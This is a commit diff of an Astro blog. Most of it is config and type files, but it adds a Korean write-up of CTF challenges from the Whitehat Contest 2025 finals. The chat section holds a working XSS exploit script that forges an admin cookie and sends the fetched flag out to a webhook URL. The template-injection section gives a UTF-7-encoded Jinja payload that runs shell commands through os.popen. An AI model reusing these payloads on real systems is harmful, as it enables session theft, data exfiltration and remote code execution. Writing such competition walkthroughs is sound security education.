03
This commit is contained in:
45
.astro/collections/blog.schema.json
Normal file
45
.astro/collections/blog.schema.json
Normal file
@@ -0,0 +1,45 @@
|
||||
{
|
||||
"$ref": "#/definitions/blog",
|
||||
"definitions": {
|
||||
"blog": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"title": {
|
||||
"type": "string"
|
||||
},
|
||||
"description": {
|
||||
"type": "string"
|
||||
},
|
||||
"date": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string",
|
||||
"format": "date-time"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"format": "date"
|
||||
},
|
||||
{
|
||||
"type": "integer",
|
||||
"format": "unix-time"
|
||||
}
|
||||
]
|
||||
},
|
||||
"draft": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"$schema": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"title",
|
||||
"description",
|
||||
"date"
|
||||
],
|
||||
"additionalProperties": false
|
||||
}
|
||||
},
|
||||
"$schema": "http://json-schema.org/draft-07/schema#"
|
||||
}
|
||||
66
.astro/collections/career.schema.json
Normal file
66
.astro/collections/career.schema.json
Normal file
@@ -0,0 +1,66 @@
|
||||
{
|
||||
"$ref": "#/definitions/career",
|
||||
"definitions": {
|
||||
"career": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"company": {
|
||||
"type": "string"
|
||||
},
|
||||
"role": {
|
||||
"type": "string"
|
||||
},
|
||||
"dateStart": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string",
|
||||
"format": "date-time"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"format": "date"
|
||||
},
|
||||
{
|
||||
"type": "integer",
|
||||
"format": "unix-time"
|
||||
}
|
||||
]
|
||||
},
|
||||
"dateEnd": {
|
||||
"anyOf": [
|
||||
{
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string",
|
||||
"format": "date-time"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"format": "date"
|
||||
},
|
||||
{
|
||||
"type": "integer",
|
||||
"format": "unix-time"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"type": "string"
|
||||
}
|
||||
]
|
||||
},
|
||||
"$schema": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"company",
|
||||
"role",
|
||||
"dateStart",
|
||||
"dateEnd"
|
||||
],
|
||||
"additionalProperties": false
|
||||
}
|
||||
},
|
||||
"$schema": "http://json-schema.org/draft-07/schema#"
|
||||
}
|
||||
51
.astro/collections/projects.schema.json
Normal file
51
.astro/collections/projects.schema.json
Normal file
@@ -0,0 +1,51 @@
|
||||
{
|
||||
"$ref": "#/definitions/projects",
|
||||
"definitions": {
|
||||
"projects": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"title": {
|
||||
"type": "string"
|
||||
},
|
||||
"description": {
|
||||
"type": "string"
|
||||
},
|
||||
"date": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string",
|
||||
"format": "date-time"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"format": "date"
|
||||
},
|
||||
{
|
||||
"type": "integer",
|
||||
"format": "unix-time"
|
||||
}
|
||||
]
|
||||
},
|
||||
"draft": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"demoURL": {
|
||||
"type": "string"
|
||||
},
|
||||
"repoURL": {
|
||||
"type": "string"
|
||||
},
|
||||
"$schema": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"title",
|
||||
"description",
|
||||
"date"
|
||||
],
|
||||
"additionalProperties": false
|
||||
}
|
||||
},
|
||||
"$schema": "http://json-schema.org/draft-07/schema#"
|
||||
}
|
||||
1
.astro/content-assets.mjs
Normal file
1
.astro/content-assets.mjs
Normal file
@@ -0,0 +1 @@
|
||||
export default new Map();
|
||||
1
.astro/content-modules.mjs
Normal file
1
.astro/content-modules.mjs
Normal file
@@ -0,0 +1 @@
|
||||
export default new Map();
|
||||
240
.astro/content.d.ts
vendored
Normal file
240
.astro/content.d.ts
vendored
Normal file
@@ -0,0 +1,240 @@
|
||||
declare module 'astro:content' {
|
||||
interface Render {
|
||||
'.mdx': Promise<{
|
||||
Content: import('astro').MDXContent;
|
||||
headings: import('astro').MarkdownHeading[];
|
||||
remarkPluginFrontmatter: Record<string, any>;
|
||||
components: import('astro').MDXInstance<{}>['components'];
|
||||
}>;
|
||||
}
|
||||
}
|
||||
|
||||
declare module 'astro:content' {
|
||||
export interface RenderResult {
|
||||
Content: import('astro/runtime/server/index.js').AstroComponentFactory;
|
||||
headings: import('astro').MarkdownHeading[];
|
||||
remarkPluginFrontmatter: Record<string, any>;
|
||||
}
|
||||
interface Render {
|
||||
'.md': Promise<RenderResult>;
|
||||
}
|
||||
|
||||
export interface RenderedContent {
|
||||
html: string;
|
||||
metadata?: {
|
||||
imagePaths: Array<string>;
|
||||
[key: string]: unknown;
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
declare module 'astro:content' {
|
||||
type Flatten<T> = T extends { [K: string]: infer U } ? U : never;
|
||||
|
||||
export type CollectionKey = keyof AnyEntryMap;
|
||||
export type CollectionEntry<C extends CollectionKey> = Flatten<AnyEntryMap[C]>;
|
||||
|
||||
export type ContentCollectionKey = keyof ContentEntryMap;
|
||||
export type DataCollectionKey = keyof DataEntryMap;
|
||||
|
||||
type AllValuesOf<T> = T extends any ? T[keyof T] : never;
|
||||
type ValidContentEntrySlug<C extends keyof ContentEntryMap> = AllValuesOf<
|
||||
ContentEntryMap[C]
|
||||
>['slug'];
|
||||
|
||||
export type ReferenceDataEntry<
|
||||
C extends CollectionKey,
|
||||
E extends keyof DataEntryMap[C] = string,
|
||||
> = {
|
||||
collection: C;
|
||||
id: E;
|
||||
};
|
||||
export type ReferenceContentEntry<
|
||||
C extends keyof ContentEntryMap,
|
||||
E extends ValidContentEntrySlug<C> | (string & {}) = string,
|
||||
> = {
|
||||
collection: C;
|
||||
slug: E;
|
||||
};
|
||||
export type ReferenceLiveEntry<C extends keyof LiveContentConfig['collections']> = {
|
||||
collection: C;
|
||||
id: string;
|
||||
};
|
||||
|
||||
/** @deprecated Use `getEntry` instead. */
|
||||
export function getEntryBySlug<
|
||||
C extends keyof ContentEntryMap,
|
||||
E extends ValidContentEntrySlug<C> | (string & {}),
|
||||
>(
|
||||
collection: C,
|
||||
// Note that this has to accept a regular string too, for SSR
|
||||
entrySlug: E,
|
||||
): E extends ValidContentEntrySlug<C>
|
||||
? Promise<CollectionEntry<C>>
|
||||
: Promise<CollectionEntry<C> | undefined>;
|
||||
|
||||
/** @deprecated Use `getEntry` instead. */
|
||||
export function getDataEntryById<C extends keyof DataEntryMap, E extends keyof DataEntryMap[C]>(
|
||||
collection: C,
|
||||
entryId: E,
|
||||
): Promise<CollectionEntry<C>>;
|
||||
|
||||
export function getCollection<C extends keyof AnyEntryMap, E extends CollectionEntry<C>>(
|
||||
collection: C,
|
||||
filter?: (entry: CollectionEntry<C>) => entry is E,
|
||||
): Promise<E[]>;
|
||||
export function getCollection<C extends keyof AnyEntryMap>(
|
||||
collection: C,
|
||||
filter?: (entry: CollectionEntry<C>) => unknown,
|
||||
): Promise<CollectionEntry<C>[]>;
|
||||
|
||||
export function getLiveCollection<C extends keyof LiveContentConfig['collections']>(
|
||||
collection: C,
|
||||
filter?: LiveLoaderCollectionFilterType<C>,
|
||||
): Promise<
|
||||
import('astro').LiveDataCollectionResult<LiveLoaderDataType<C>, LiveLoaderErrorType<C>>
|
||||
>;
|
||||
|
||||
export function getEntry<
|
||||
C extends keyof ContentEntryMap,
|
||||
E extends ValidContentEntrySlug<C> | (string & {}),
|
||||
>(
|
||||
entry: ReferenceContentEntry<C, E>,
|
||||
): E extends ValidContentEntrySlug<C>
|
||||
? Promise<CollectionEntry<C>>
|
||||
: Promise<CollectionEntry<C> | undefined>;
|
||||
export function getEntry<
|
||||
C extends keyof DataEntryMap,
|
||||
E extends keyof DataEntryMap[C] | (string & {}),
|
||||
>(
|
||||
entry: ReferenceDataEntry<C, E>,
|
||||
): E extends keyof DataEntryMap[C]
|
||||
? Promise<DataEntryMap[C][E]>
|
||||
: Promise<CollectionEntry<C> | undefined>;
|
||||
export function getEntry<
|
||||
C extends keyof ContentEntryMap,
|
||||
E extends ValidContentEntrySlug<C> | (string & {}),
|
||||
>(
|
||||
collection: C,
|
||||
slug: E,
|
||||
): E extends ValidContentEntrySlug<C>
|
||||
? Promise<CollectionEntry<C>>
|
||||
: Promise<CollectionEntry<C> | undefined>;
|
||||
export function getEntry<
|
||||
C extends keyof DataEntryMap,
|
||||
E extends keyof DataEntryMap[C] | (string & {}),
|
||||
>(
|
||||
collection: C,
|
||||
id: E,
|
||||
): E extends keyof DataEntryMap[C]
|
||||
? string extends keyof DataEntryMap[C]
|
||||
? Promise<DataEntryMap[C][E]> | undefined
|
||||
: Promise<DataEntryMap[C][E]>
|
||||
: Promise<CollectionEntry<C> | undefined>;
|
||||
export function getLiveEntry<C extends keyof LiveContentConfig['collections']>(
|
||||
collection: C,
|
||||
filter: string | LiveLoaderEntryFilterType<C>,
|
||||
): Promise<import('astro').LiveDataEntryResult<LiveLoaderDataType<C>, LiveLoaderErrorType<C>>>;
|
||||
|
||||
/** Resolve an array of entry references from the same collection */
|
||||
export function getEntries<C extends keyof ContentEntryMap>(
|
||||
entries: ReferenceContentEntry<C, ValidContentEntrySlug<C>>[],
|
||||
): Promise<CollectionEntry<C>[]>;
|
||||
export function getEntries<C extends keyof DataEntryMap>(
|
||||
entries: ReferenceDataEntry<C, keyof DataEntryMap[C]>[],
|
||||
): Promise<CollectionEntry<C>[]>;
|
||||
|
||||
export function render<C extends keyof AnyEntryMap>(
|
||||
entry: AnyEntryMap[C][string],
|
||||
): Promise<RenderResult>;
|
||||
|
||||
export function reference<C extends keyof AnyEntryMap>(
|
||||
collection: C,
|
||||
): import('astro/zod').ZodEffects<
|
||||
import('astro/zod').ZodString,
|
||||
C extends keyof ContentEntryMap
|
||||
? ReferenceContentEntry<C, ValidContentEntrySlug<C>>
|
||||
: ReferenceDataEntry<C, keyof DataEntryMap[C]>
|
||||
>;
|
||||
// Allow generic `string` to avoid excessive type errors in the config
|
||||
// if `dev` is not running to update as you edit.
|
||||
// Invalid collection names will be caught at build time.
|
||||
export function reference<C extends string>(
|
||||
collection: C,
|
||||
): import('astro/zod').ZodEffects<import('astro/zod').ZodString, never>;
|
||||
|
||||
type ReturnTypeOrOriginal<T> = T extends (...args: any[]) => infer R ? R : T;
|
||||
type InferEntrySchema<C extends keyof AnyEntryMap> = import('astro/zod').infer<
|
||||
ReturnTypeOrOriginal<Required<ContentConfig['collections'][C]>['schema']>
|
||||
>;
|
||||
|
||||
type ContentEntryMap = {
|
||||
|
||||
};
|
||||
|
||||
type DataEntryMap = {
|
||||
"blog": Record<string, {
|
||||
id: string;
|
||||
render(): Render[".md"];
|
||||
slug: string;
|
||||
body: string;
|
||||
collection: "blog";
|
||||
data: InferEntrySchema<"blog">;
|
||||
rendered?: RenderedContent;
|
||||
filePath?: string;
|
||||
}>;
|
||||
"career": Record<string, {
|
||||
id: string;
|
||||
render(): Render[".md"];
|
||||
slug: string;
|
||||
body: string;
|
||||
collection: "career";
|
||||
data: InferEntrySchema<"career">;
|
||||
rendered?: RenderedContent;
|
||||
filePath?: string;
|
||||
}>;
|
||||
"projects": Record<string, {
|
||||
id: string;
|
||||
render(): Render[".md"];
|
||||
slug: string;
|
||||
body: string;
|
||||
collection: "projects";
|
||||
data: InferEntrySchema<"projects">;
|
||||
rendered?: RenderedContent;
|
||||
filePath?: string;
|
||||
}>;
|
||||
|
||||
};
|
||||
|
||||
type AnyEntryMap = ContentEntryMap & DataEntryMap;
|
||||
|
||||
type ExtractLoaderTypes<T> = T extends import('astro/loaders').LiveLoader<
|
||||
infer TData,
|
||||
infer TEntryFilter,
|
||||
infer TCollectionFilter,
|
||||
infer TError
|
||||
>
|
||||
? { data: TData; entryFilter: TEntryFilter; collectionFilter: TCollectionFilter; error: TError }
|
||||
: { data: never; entryFilter: never; collectionFilter: never; error: never };
|
||||
type ExtractDataType<T> = ExtractLoaderTypes<T>['data'];
|
||||
type ExtractEntryFilterType<T> = ExtractLoaderTypes<T>['entryFilter'];
|
||||
type ExtractCollectionFilterType<T> = ExtractLoaderTypes<T>['collectionFilter'];
|
||||
type ExtractErrorType<T> = ExtractLoaderTypes<T>['error'];
|
||||
|
||||
type LiveLoaderDataType<C extends keyof LiveContentConfig['collections']> =
|
||||
LiveContentConfig['collections'][C]['schema'] extends undefined
|
||||
? ExtractDataType<LiveContentConfig['collections'][C]['loader']>
|
||||
: import('astro/zod').infer<
|
||||
Exclude<LiveContentConfig['collections'][C]['schema'], undefined>
|
||||
>;
|
||||
type LiveLoaderEntryFilterType<C extends keyof LiveContentConfig['collections']> =
|
||||
ExtractEntryFilterType<LiveContentConfig['collections'][C]['loader']>;
|
||||
type LiveLoaderCollectionFilterType<C extends keyof LiveContentConfig['collections']> =
|
||||
ExtractCollectionFilterType<LiveContentConfig['collections'][C]['loader']>;
|
||||
type LiveLoaderErrorType<C extends keyof LiveContentConfig['collections']> = ExtractErrorType<
|
||||
LiveContentConfig['collections'][C]['loader']
|
||||
>;
|
||||
|
||||
export type ContentConfig = typeof import("../src/content/config.js");
|
||||
export type LiveContentConfig = never;
|
||||
}
|
||||
2
.astro/types.d.ts
vendored
Normal file
2
.astro/types.d.ts
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
/// <reference types="astro/client" />
|
||||
/// <reference path="content.d.ts" />
|
||||
141
.gitignore
vendored
Normal file
141
.gitignore
vendored
Normal file
@@ -0,0 +1,141 @@
|
||||
# Logs
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
lerna-debug.log*
|
||||
|
||||
# Diagnostic reports (https://nodejs.org/api/report.html)
|
||||
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
|
||||
|
||||
# Runtime data
|
||||
pids
|
||||
*.pid
|
||||
*.seed
|
||||
*.pid.lock
|
||||
|
||||
# Directory for instrumented libs generated by jscoverage/JSCover
|
||||
lib-cov
|
||||
|
||||
# Coverage directory used by tools like istanbul
|
||||
coverage
|
||||
*.lcov
|
||||
|
||||
# nyc test coverage
|
||||
.nyc_output
|
||||
|
||||
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
|
||||
.grunt
|
||||
|
||||
# Bower dependency directory (https://bower.io/)
|
||||
bower_components
|
||||
|
||||
# node-waf configuration
|
||||
.lock-wscript
|
||||
|
||||
# Compiled binary addons (https://nodejs.org/api/addons.html)
|
||||
build/Release
|
||||
|
||||
# Dependency directories
|
||||
node_modules/
|
||||
jspm_packages/
|
||||
|
||||
# Snowpack dependency directory (https://snowpack.dev/)
|
||||
web_modules/
|
||||
|
||||
# TypeScript cache
|
||||
*.tsbuildinfo
|
||||
|
||||
# Optional npm cache directory
|
||||
.npm
|
||||
|
||||
# Optional eslint cache
|
||||
.eslintcache
|
||||
|
||||
# Optional stylelint cache
|
||||
.stylelintcache
|
||||
|
||||
# Optional REPL history
|
||||
.node_repl_history
|
||||
|
||||
# Output of 'npm pack'
|
||||
*.tgz
|
||||
|
||||
# Yarn Integrity file
|
||||
.yarn-integrity
|
||||
|
||||
# dotenv environment variable files
|
||||
.env
|
||||
.env.*
|
||||
!.env.example
|
||||
|
||||
# parcel-bundler cache (https://parceljs.org/)
|
||||
.cache
|
||||
.parcel-cache
|
||||
|
||||
# Next.js build output
|
||||
.next
|
||||
out
|
||||
|
||||
# Nuxt.js build / generate output
|
||||
.nuxt
|
||||
dist
|
||||
.output
|
||||
|
||||
# Gatsby files
|
||||
.cache/
|
||||
# Comment in the public line in if your project uses Gatsby and not Next.js
|
||||
# https://nextjs.org/blog/next-9-1#public-directory-support
|
||||
# public
|
||||
|
||||
# vuepress build output
|
||||
.vuepress/dist
|
||||
|
||||
# vuepress v2.x temp and cache directory
|
||||
.temp
|
||||
.cache
|
||||
|
||||
# Sveltekit cache directory
|
||||
.svelte-kit/
|
||||
|
||||
# vitepress build output
|
||||
**/.vitepress/dist
|
||||
|
||||
# vitepress cache directory
|
||||
**/.vitepress/cache
|
||||
|
||||
# Docusaurus cache and generated files
|
||||
.docusaurus
|
||||
|
||||
# Serverless directories
|
||||
.serverless/
|
||||
|
||||
# FuseBox cache
|
||||
.fusebox/
|
||||
|
||||
# DynamoDB Local files
|
||||
.dynamodb/
|
||||
|
||||
# Firebase cache directory
|
||||
.firebase/
|
||||
|
||||
# TernJS port file
|
||||
.tern-port
|
||||
|
||||
# Stores VSCode versions used for testing VSCode extensions
|
||||
.vscode-test
|
||||
|
||||
# yarn v3
|
||||
.pnp.*
|
||||
.yarn/*
|
||||
!.yarn/patches
|
||||
!.yarn/plugins
|
||||
!.yarn/releases
|
||||
!.yarn/sdks
|
||||
!.yarn/versions
|
||||
|
||||
# Vite files
|
||||
vite.config.js.timestamp-*
|
||||
vite.config.ts.timestamp-*
|
||||
.vite/
|
||||
11251
package-lock.json
generated
Normal file
11251
package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load Diff
507
src/content/blog/03-whfinal-writeup/index.md
Normal file
507
src/content/blog/03-whfinal-writeup/index.md
Normal file
@@ -0,0 +1,507 @@
|
||||
---
|
||||
title: "화이트햇콘테스트 2025 본선 writeup"
|
||||
description: "withcon 2025 final writeup"
|
||||
date: "Nov 24 2025"
|
||||
---
|
||||
|
||||
## Introduction
|
||||
2025 WHITEHAT 본선에는 헤일메리 팀으로 참가해 총 7문제를 해결했고, 최종 성적은 본선 3위를 기록했다.
|
||||
비공식 기준이긴 하지만 개인 solve 수만 놓고 보면 모든부분 1등이었다.
|
||||
한 문제만 더 풀었으면 2등까지도 가능했을 것 같아 약간 아쉽기도 했다.
|
||||
다음 writeup들은 대부분 ai가 대신 작성해준 내용이니 약간 읽기가 복잡할지도?
|
||||
|
||||
---
|
||||
|
||||
# 1. AI
|
||||
|
||||
## 1.1 Overview
|
||||
이 문제는 제공된 OCR 모델을 속여 특정 문자열 **“givemeflag”**을 출력하게 만드는 Adversarial Attack 문제이다.
|
||||
서버는 32×32 grayscale 이미지 10장을 받아 각 문자를 추출하고, 조합한 문자열이 정확히 맞으면 플래그를 반환한다.
|
||||
|
||||
- Goal: 서버가 “givemeflag”라고 읽도록 만드는 이미지 10장 생성
|
||||
- Given Files:
|
||||
- `OCR.h5` (Keras OCR Model)
|
||||
- `main.py` (Server preprocessing & inference logic)
|
||||
|
||||
핵심은 “사람 눈에는 노이즈지만, 모델은 특정 문자로 착각하는 이미지”를 직접 만드는 것이다.
|
||||
|
||||
## 1.2 Analysis
|
||||
`main.py`를 보면 서버는 다음 순서로 이미지를 처리한다.
|
||||
|
||||
1) Base64 decode
|
||||
2) Convert to grayscale (L mode)
|
||||
3) Resize to 32×32
|
||||
4) Normalize with `/255.0`
|
||||
5) Softmax → Argmax → Character mapping
|
||||
|
||||
즉, 사람이 보기에 정상적인 이미지일 필요가 없고, **모델이 속기 쉬운 패턴**을 만드는 것이 목표였다.
|
||||
|
||||
## 1.3 Methodology
|
||||
- 문자 하나당 이미지 한 장 → 총 10장
|
||||
- FGSM 같은 단일 스텝 방법은 제대로 수렴이 안 됨
|
||||
- 이미지 자체를 변수로 두고 PGD 방식으로 반복 최적화 진행
|
||||
|
||||
Process 요약:
|
||||
|
||||
- 랜덤 노이즈로 이미지 초기화
|
||||
- Loss를 타깃 문자 기준으로 최소화
|
||||
- 매 스텝마다 clipping(0~1)
|
||||
- 일정 기준 충족 시 조기 종료
|
||||
|
||||
## 1.4 Implementation
|
||||
핵심 구현 방식은 다음과 같다.
|
||||
|
||||
- 문자 → index 변환
|
||||
- 랜덤 텐서를 loss 방향으로 최적화
|
||||
- logit이 충분히 높아지면 이미지 픽스
|
||||
- 최종적으로 PIL로 32×32 Grayscale PNG 저장
|
||||
|
||||
Boundary가 넓은 “g”, “i” 등은 빨리 수렴했고, 좁은 “f”는 오래 걸렸다.
|
||||
|
||||
## 1.5 Verification
|
||||
OCR.h5 모델에 직접 돌려본 결과:
|
||||
|
||||
Target: givemeflag
|
||||
Predicted: givemeflag
|
||||
SUCCESS!
|
||||
|
||||
모델이 의도대로 문자열을 정확히 인식했다.
|
||||
|
||||
## 1.6 Submission & Flag
|
||||
Base64 인코딩 후 `/check`로 제출한 결과:
|
||||
|
||||
- alphabets: ["g","i","v","e","m","e","f","l","a","g"]
|
||||
- flag: `whitehat2025{bc4498394e5fb4177656698d850b63d7cd2d49c04e749f8763bdfa4e4062dfd8}`
|
||||
- text: "givemeflag"
|
||||
|
||||
## 1.7 Discussion
|
||||
예선보다 약간 어려웠지만 막히는 난이도는 아니었다.
|
||||
PGD가 잘 먹히는 구조라 모델 decision boundary의 취약함이 그대로 드러난 문제였다.
|
||||
문항 풀이 과정 반절은 잼민이가 도와줬다.
|
||||
|
||||
---
|
||||
|
||||
# 2. Chat
|
||||
|
||||
## 2.1 Overview
|
||||
이 문제는 Django 기반 채팅 애플리케이션의 취약점을 이용해 `/flag/`에서 플래그를 획득하는 문제이다.
|
||||
|
||||
Server constraints:
|
||||
|
||||
1. 요청 IP는 반드시 127.0.0.1
|
||||
2. `username` 쿠키가 반드시 `admin`
|
||||
|
||||
## 2.2 Analysis
|
||||
애플리케이션의 핵심 취약점은 **Inline HTML Preview + Playwright Bot** 조합이다.
|
||||
|
||||
- 메시지 안에 `<div>`, `<script>` 등이 포함되면 인라인 HTML로 분류되고 내부 URL이 생성됨
|
||||
- 서버는 Playwright로 이 페이지를 띄워 HTML/JS를 실행함
|
||||
- 봇은 기본적으로 `username=bot` 쿠키를 가짐
|
||||
- 즉, 공격자가 보낸 JS가 **서버 로컬(127.0.0.1)** 환경에서 실행됨
|
||||
→ 사실상 SSRF + XSS의 콜라보
|
||||
|
||||
## 2.3 Exploit
|
||||
공격 목표는:
|
||||
|
||||
1. 봇의 쿠키를 `username=admin`으로 변조
|
||||
2. `/flag/` 요청
|
||||
3. 응답 플래그를 외부 Webhook으로 유출
|
||||
|
||||
Flow:
|
||||
|
||||
1. 악성 스크립트 포함된 HTML 메시지 전송
|
||||
2. 봇이 Preview 렌더링 페이지 접속
|
||||
3. JS 실행 → 쿠키 변조
|
||||
4. JS 실행 → `/flag/` GET
|
||||
5. 플래그 Webhook 유출
|
||||
|
||||
## 2.4 Implementation
|
||||
|
||||
Python exploit은 회원가입 → 로그인 후 악성 메시지 전송하는 구조였다.
|
||||
|
||||
```python
|
||||
import requests
|
||||
import json
|
||||
import time
|
||||
|
||||
URL = "https://asdf"
|
||||
WEBHOOK_URL = "https://webhook.site/asdf"
|
||||
|
||||
s = requests.Session()
|
||||
s.verify = False
|
||||
|
||||
def register_and_login(username, password):
|
||||
# 1. 회원가입
|
||||
r = s.get(f"{URL}/register/")
|
||||
csrf_token = s.cookies.get('csrftoken')
|
||||
data = {
|
||||
"csrfmiddlewaretoken": csrf_token,
|
||||
"username": username,
|
||||
"password1": password,
|
||||
"password2": password
|
||||
}
|
||||
headers = {"Referer": f"{URL}/register/"}
|
||||
s.post(f"{URL}/register/", data=data, headers=headers)
|
||||
|
||||
# 2. 로그인
|
||||
r = s.get(f"{URL}/login/")
|
||||
if "logout" in r.text:
|
||||
return True
|
||||
return False
|
||||
|
||||
def send_payload():
|
||||
# XSS Payload
|
||||
# 쿠키 변조: username=admin
|
||||
# 플래그 요청 및 유출
|
||||
payload = f"""
|
||||
<div>
|
||||
<script>
|
||||
async function run() {{
|
||||
try {{
|
||||
// 쿠키 변조
|
||||
document.cookie = "username=admin; path=/; secure; samesite=lax";
|
||||
|
||||
// 플래그 요청
|
||||
let flagRes = await fetch('/flag/');
|
||||
let flag = await flagRes.text();
|
||||
|
||||
// 외부로 유출
|
||||
fetch('{WEBHOOK_URL}?flag=' + encodeURIComponent(flag));
|
||||
}} catch (e) {{
|
||||
fetch('{WEBHOOK_URL}?error=' + encodeURIComponent(e.toString()));
|
||||
}}
|
||||
}}
|
||||
run();
|
||||
</script>
|
||||
</div>
|
||||
"""
|
||||
|
||||
csrf_token = s.cookies.get('csrftoken')
|
||||
data = {
|
||||
"csrfmiddlewaretoken": csrf_token,
|
||||
"message": payload
|
||||
}
|
||||
headers = {
|
||||
"Referer": f"{URL}/",
|
||||
"X-CSRFToken": csrf_token
|
||||
}
|
||||
|
||||
print("Sending payload...")
|
||||
s.post(f"{URL}/api/send/", data=data, headers=headers)
|
||||
|
||||
if __name__ == "__main__":
|
||||
import uuid
|
||||
username = f"attacker_{uuid.uuid4().hex[:8]}"
|
||||
password = "password123"
|
||||
|
||||
if register_and_login(username, password):
|
||||
send_payload()
|
||||
print("flag!")
|
||||
```
|
||||
|
||||
|
||||
## 2.5 Discussion
|
||||
|
||||
솔직히 어렵진 않았던 문제이다. 다들 쉽게 풀기도 했으니...
|
||||
|
||||
---
|
||||
|
||||
# 3. Scenario 1-1
|
||||
|
||||
## 3.1 Overview
|
||||
전자 문서 서명 서비스 자체의 취약점 때문에 서버가 탈취된 것으로 추정되며, 복제된 서버에서 flag를 획득하고 침해 원인을 규명하는 것이 목표였다.
|
||||
SSTI 취약점으로 flag를 획득하면 된다.
|
||||
|
||||
---
|
||||
|
||||
## 3.2 Analysis
|
||||
|
||||
### 1) Server-Side Template Injection (SSTI)
|
||||
**파일:** `app/core/pdf_renderer.py`
|
||||
|
||||
```python
|
||||
def render_pdf(self, doc_id: str, markdown_content: str, title: str = "Document") -> dict:
|
||||
try:
|
||||
template = Template(markdown_content)
|
||||
rendered_content = template.render()
|
||||
```
|
||||
|
||||
사용자 입력을 템플릿 엔진에 직접 전달하는 전형적인 SSTI.
|
||||
|
||||
---
|
||||
|
||||
### 2) Broken Security Filter
|
||||
**파일:** `app/core/security.py`
|
||||
|
||||
```python
|
||||
def safe_markdown(content: str) -> bytes:
|
||||
return content.replace("{{", "").replace("}}", "").encode("utf-8")
|
||||
```
|
||||
|
||||
단순 치환이라 인코딩 우회에 매우 취약하다.
|
||||
|
||||
---
|
||||
|
||||
### 3) UTF-7 Decoding Bug (핵심)
|
||||
**파일:** `app/api/documents.py`
|
||||
|
||||
```python
|
||||
safe_markdown_content = safe_markdown(doc.markdown_content).decode("utf-7")
|
||||
```
|
||||
|
||||
UTF-8로 인코딩한 후 UTF-7로 디코딩 → `{{ }}` 패턴 복원됨.
|
||||
|
||||
UTF-7 매핑:
|
||||
|
||||
```
|
||||
+AHsAew- → {{
|
||||
+AH0AfQ- → }}
|
||||
```
|
||||
|
||||
필터가 무력화되며 SSTI가 그대로 살아난다.
|
||||
|
||||
---
|
||||
|
||||
## 3.3 Exploit
|
||||
|
||||
### Step 1 — UTF-7 Payload Construction
|
||||
Payload:
|
||||
|
||||
```
|
||||
+AHsAew-7*7+AH0AfQ-
|
||||
```
|
||||
|
||||
서버 처리 흐름:
|
||||
|
||||
```
|
||||
UTF-7 인코딩 → 필터 우회 → UTF-7 디코딩 → {{7*7}} 복원 → SSTI → 49 출력
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Step 2 — Local PoC
|
||||
로컬에서 Jinja Template으로 테스트해 정상적으로 `{{7*7}}`가 복구되고 실행됨을 확인했다.
|
||||
|
||||
---
|
||||
|
||||
### Step 3 — RCE Payload (UTF-7 Encoded)
|
||||
원본 SSTI:
|
||||
|
||||
```
|
||||
{{ lipsum.__globals__['os'].popen('cat /app/flag.txt').read() }}
|
||||
```
|
||||
|
||||
UTF-7 변환 후 최종 payload:
|
||||
|
||||
```
|
||||
+AHsAew- lipsum+AC4-+AF8AXw-globals+AF8AXw-+AFs-+ACc-os+ACc-+AF0-+AC4-popen+ACg-+ACc-cat +AC8-app+AC8-flag+AC4-txt+ACc-+ACk-+AC4-read+ACg-+ACk- +AH0AfQ-
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Step 4 — Exploit Execution
|
||||
- `/api/documents`로 문서 생성
|
||||
- 렌더링 상태가 `completed` 될 때까지 대기
|
||||
- `/api/documents/<id>/preview`로 PDF 다운로드
|
||||
|
||||
---
|
||||
|
||||
### Step 5 — Extract Flag from PDF
|
||||
|
||||
```
|
||||
whitehat2025{a1c56e0f04fb9abc8467c89089703c8c224d56bc007344b37101f6abe3}
|
||||
```
|
||||
|
||||
PDF 내부 텍스트에서 flag가 정상 추출되었다.
|
||||
|
||||
---
|
||||
|
||||
## 3.4 References
|
||||
- https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection
|
||||
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
|
||||
- https://en.wikipedia.org/wiki/UTF-7
|
||||
- https://jinja.palletsprojects.com/en/latest/
|
||||
|
||||
---
|
||||
|
||||
# 4. Scenario 1-2
|
||||
|
||||
이번 문제는 예선과 같이 취약한 파일들을 패치해서 검사받는 문제이다. llm 돌리면 3분컷나니 생략한다.
|
||||
|
||||
---
|
||||
|
||||
# 5. Scenario 1-3
|
||||
|
||||
그냥 vm 이미지에서 수상한 파일을 찾는 문제이다. 이 역시 별다른 어려움이 없을것이라 예상되니 스킵. 포렌식이 여기 숨어있었음. 이 문제 이후로 1-4를 풀지 못했다. 개어려움...
|
||||
|
||||
---
|
||||
|
||||
# 6. Lemo
|
||||
|
||||
## 6.1 Overview
|
||||
Deno + Fresh 프레임워크로 작성된 웹 서비스에서 여러 보호 기법을 우회하여 플래그를 획득하는 문제이다.
|
||||
